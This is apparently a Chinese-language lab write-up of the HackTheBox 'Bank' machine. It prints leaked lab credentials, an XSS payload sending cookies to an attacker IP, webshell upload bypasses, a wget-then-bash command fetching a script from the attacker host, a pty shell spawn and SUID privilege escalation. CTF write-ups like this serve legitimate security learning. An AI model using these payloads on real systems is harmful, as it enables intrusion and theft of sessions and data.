Recon#
嘗試傳 Webshell#
support.php

- 看起來可以傳檔案
但只能傳圖片嘗試用各種方法繞- 


- 但基本上都失敗
取得密碼#
- 通靈掃到
/balance-transfer
發現裡面的資訊都有過加密-
複製出來觀察 size
a = a.replace("[ ] ","")
a = a.split("\n")
l = []
for i in a:
i = i.split(" ")
l.append(int(i[1]))
l.sort()
print(l)
- 發現有一個檔案大小只有257

觀察檔案內容- 
- 取得帳密
chris@bank.htb !##HTBB4nkP4ssw0rd!##順利登入-
又回到 support.php-
測各種副檔名繞過- 
s.php%00.jpgs.php\x00.jpg- 都失敗測 XSS-
new Image().src="http://10.10.16.35:1234/"+document.cookie 
- 成功檢查註解-

- 發現可以用
.htb 
成功上傳 Webshell- 
執行 Reverse shell#
bank.htb/uploads/s.htb?A=wget 10.10.16.35:8000/s_HTBhttp://bank.htb/uploads/s.htb?A=bash%20s_HTB
- spawn
python -c 'import pty; pty.spawn("/bin/bash")'
- Kernel Version
有奇怪的 SUID 程式-
直接執行- 
- 就 Root shell ㄌ取得 Flag- Root
User- 
嘗試不登入傳 shell#
- 先隨便傳
Burp 改副檔名 .htb-
上傳成功- 
- 所以取得密碼的那一段根本不用做就可以結束ㄌ= =
學到了#